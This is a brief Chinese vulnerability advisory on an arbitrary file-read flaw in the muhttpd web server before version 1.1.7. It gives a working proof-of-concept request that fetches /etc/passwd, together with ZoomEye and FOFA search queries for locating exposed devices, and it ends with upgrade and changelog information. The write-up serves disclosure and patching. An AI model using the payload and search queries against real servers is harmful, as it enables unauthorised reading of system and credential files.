一、软件背景
muhttpd(mu-HTTP-deamon)是一个简单但完整的web服务器,用可移植的ANSI C编写。它支持静态页面、CGI脚本、基于MIME类型的处理程序和HTTPS。它在接受任何连接之前放弃特权,并且可以记录接收到的请求。它已经在GNU/Linux、NetBSD、FreeBSD、Mac OS X和Cygwin上进行了测试。它在32位和64位、小端和大端系统上成功运行。
muhttpd 1.1.7之前版本存在安全漏洞。攻击者利用该漏洞读取系统任意文件。
二、漏洞触发点
根据互联网上的POC脚本:
script/CVE-2022-31793.yaml at 473e7c60324a91b63579fc4a0a39ef66668f5696 · badboycxcc/script · GitHub
可以解析出POC:
GET a/etc/passwd HTTP/1.1
Host: XXX.XXX.XXX.XXX
其中,uri首字符可以为任意字母、数字,但只能写1个。后面的路径可以为任意Linux文件路径,直接返回读取的文件内容。
三、搜索语法
muhttpd国内用户不多,主要为国外用户。
zoomeye搜索语法:
"Block11.gif"
FOfa搜索语法:
'body="Block11.gif" || cert.subject="dsldevice.domain_not_set.invalid"'
四、漏洞修复
升级软件至1.1.7。
版本1.1.7是解决以下问题的错误修复版本:
解析和处理HTTP请求时存在大量错误。
配置解析器中的越界读取,可通过巧尽心思构建的配置文件触发。
添加了一个测试套件,涵盖了一些基本功能,以及过去的HTTP请求处理错误。
为do_ request的原型添加了缺少的参数。